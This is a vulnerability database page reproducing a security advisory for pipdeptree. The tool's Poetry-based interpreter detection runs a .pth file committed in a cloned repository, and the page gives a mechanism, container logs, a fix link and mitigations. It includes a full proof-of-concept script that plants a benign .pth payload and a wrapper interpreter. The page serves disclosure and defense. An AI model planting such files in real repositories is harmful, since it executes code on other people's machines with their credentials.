Visit the Wiz Whimzical Shop at AWS re:Invent
Vulnerability DatabaseGHSA-m5hc-8vx6-x364

GHSA-m5hc-8vx6-x364: 
Python vulnerability analysis and mitigation

Summary

With no virtual or conda environment active, a plain pipdeptree (and --python auto) runs poetry env info --executable in the working directory to find the project's environment. Poetry loads the project's .poetry/plugins before it answers, so a cloned repository that commits a .poetry/plugins/*.pth file runs its own Python code as the user who runs pipdeptree inside it. The fix for GHSA-76xh-rh2r-4xwc (4.2.13) only ignores the interpreter Poetry reports when it sits inside the project; by then Poetry has already run. Anthropic's OSS Scanner reported this as ANT-2026-NDM8KGQ6 on 2026-11-23.

Affected area

Interpreter auto-detection, which runs on every plain pipdeptree invocation and on --python auto, when VIRTUAL_ENV and CONDA_PREFIX are unset and Poetry 2 is on PATH.

Attacker-controlled input

The contents of a repository or archive: a pyproject.toml and a .poetry/plugins/payload.pth. The attacker needs no access to the victim's machine; the victim clones the repository and runs pipdeptree in it.

Affected code

At 4.2.16 (70dcc3e):

Mechanism

  1. pipdeptree without --python calls detect_interpreter. With neither VIRTUAL_ENV nor CONDA_PREFIX set, it starts poetry env info --executable with the working directory inherited from the user.
  2. Poetry 2 finds the project's pyproject.toml and loads project plugins from .poetry/plugins into its own interpreter. Python's site module executes import lines in a .pth file there.
  3. The planted code runs as the user. Poetry then prints an interpreter path, and inside_working_project drops it if it lies in the project; that check comes after step 2. Out of scope: runs with an active virtual or conda environment, or with --python PATH, do not start Poetry. The scanner also described Poetry running a committed .venv/bin/python and two poetry.toml variants; Poetry 2.5.2 did not run the committed interpreter in our check, and the poetry.toml variants were not tried.

Reproduction and evidence

ndm.sh runs in a python:3.14 container (network off) with pipdeptree installed in /opt/venv and Poetry 2.5.2 on PATH. It creates a victim account, writes the attacker's clone into its home (pyproject.toml, .poetry/plugins/payload.pth that appends its uid and argv to ran-pth.txt), then runs pipdeptree there as the victim once with VIRTUAL_ENV=/opt/venv (control) and once with no environment. With pipdeptree 4.2.16:

--- control: VIRTUAL_ENV=/opt/venv
(resolved python: /opt/venv/bin/python)
rc=0
ls: cannot access 'ran-*': No such file or directory
--- trigger: plain pipdeptree, no env
pip==26.2.2
pipdeptree==4.2.16
├── nab [required: >=0.0.19, installed: 0.0.31]
pyproject.toml
ran-pth.txt
uid=1000 argv=['/usr/local/bin/poetry', 'env', 'info', '--executable']

With the fix, the trigger run prints the same tree and no ran-* file exists.

Attack sequence

sequenceDiagram
    participant A as repository author
    participant U as user (no env active)
    participant P as pipdeptree
    participant Po as poetry
    A->>U: repository with pyproject.toml and .poetry/plugins/payload.pth
    U->>P: pipdeptree (in the clone)
    activate P
    rect rgb(255, 214, 214)
    P->>+Po: poetry env info --executable (cwd = clone)
    Po->>Po: loads .poetry/plugins, payload.pth runs as the user
    Po-->>-P: interpreter path
    P->>P: inside_working_project drops it (too late)
    end
    P-->>U: tree of the running interpreter
    deactivate P
    rect rgb(216, 243, 220)
    P-->>P: fixed: auto-detection reads VIRTUAL_ENV / CONDA_PREFIX only, starts nothing
    end

Reproducer files

ndm.sh (run as root in a python:3.14 container with pipdeptree in /opt/venv and Poetry on PATH)

#!/bin/sh
set -u
/opt/venv/bin/pipdeptree --version; poetry --version
useradd -m victim
R=/home/victim/clone; mkdir -p $R/.poetry/plugins $R/.venv/bin
printf '[project]\nname = "demo"\nversion = "0.1.0"\n' > $R/pyproject.toml
printf '%s\n' 'import os; open("/home/victim/clone/ran-pth.txt","a").write("uid=%d argv=%r" % (os.getuid(), __import__("sys").argv) + chr(10))' > $R/.poetry/plugins/payload.pth
printf '#!/bin/sh\necho "$(id -u) $*" >> /home/victim/clone/ran-venv.txt\nexec /usr/local/bin/python3 "$@"\n' > $R/.venv/bin/python
chmod 755 $R/.venv/bin/python; chown -R victim: /home/victim
echo "--- control: VIRTUAL_ENV=/opt/venv"
su victim -c "cd $R && VIRTUAL_ENV=/opt/venv /opt/venv/bin/pipdeptree >/dev/null; echo rc=\$?; ls ran-* 2>&1"
echo "--- trigger: plain pipdeptree, no env"
su victim -c "cd $R && env -u VIRTUAL_ENV -u CONDA_PREFIX /opt/venv/bin/pipdeptree 2>&1 | head -3; ls; cat ran-* 2>&1"

Impact

Running pipdeptree in a repository someone else wrote executes that author's code as the current user, with full access to the user's files and credentials. Reproduction is easy. Exposure is possible: it needs Poetry 2 on PATH and no virtual or conda environment active, which is common for Poetry users who do not activate environments. Severity: 7.8 (High), CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H. AV:L: the code arrives in a local checkout. AC:L: Poetry on PATH with no active environment is the default state for many users. PR:N. UI:R: the victim runs pipdeptree in the clone. C:H, I:H, A:H: arbitrary code as the user. S:U.

Versions tested

pipdeptree 4.2.16 (identical Rust sources to main at 97fb19a), Poetry 2.5.2, CPython 3.14, Debian container on Linux. The Poetry probe was added to --python auto in 2.21.0 (#366) and to every plain run in 3.0.0 (#588). The fix stops asking Poetry: auto-detection reads only VIRTUAL_ENV and CONDA_PREFIX. Poetry users activate the environment or pass --python "$(poetry env info --executable)". Fix: https://github.com/tox-dev/pipdeptree/pull/921.

Known mitigation

Activate a virtual environment, or pass --python <interpreter>, before running pipdeptree in a repository you did not write. Removing Poetry from PATH for that run also works.

Affected release

  • 2.21.0 to 4.2.16 with --python auto; 3.0.0 to 4.2.16 for a plain run

Credits

Anthropic's OSS Scanner, ANT-2026-NDM8KGQ6.


Source: NVD

Related Python vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-jwjq-c2gw-w78mHIGH8.5
  • Python logoPython
  • executor-engine
NoNoDec 01, 2026
GHSA-2cv2-jjxv-85fgHIGH8.5
  • Python logoPython
  • funcdesc
NoNoDec 01, 2026
GHSA-m5hc-8vx6-x364HIGH7.8
  • Python logoPython
  • pipdeptree
NoYesDec 01, 2026
GHSA-pwcj-3vgc-5j8fMEDIUM6.7
  • Python logoPython
  • pipdeptree
NoYesDec 01, 2026
GHSA-gr9c-rr2h-w55hMEDIUM6.7
  • Python logoPython
  • pipdeptree
NoYesDec 01, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management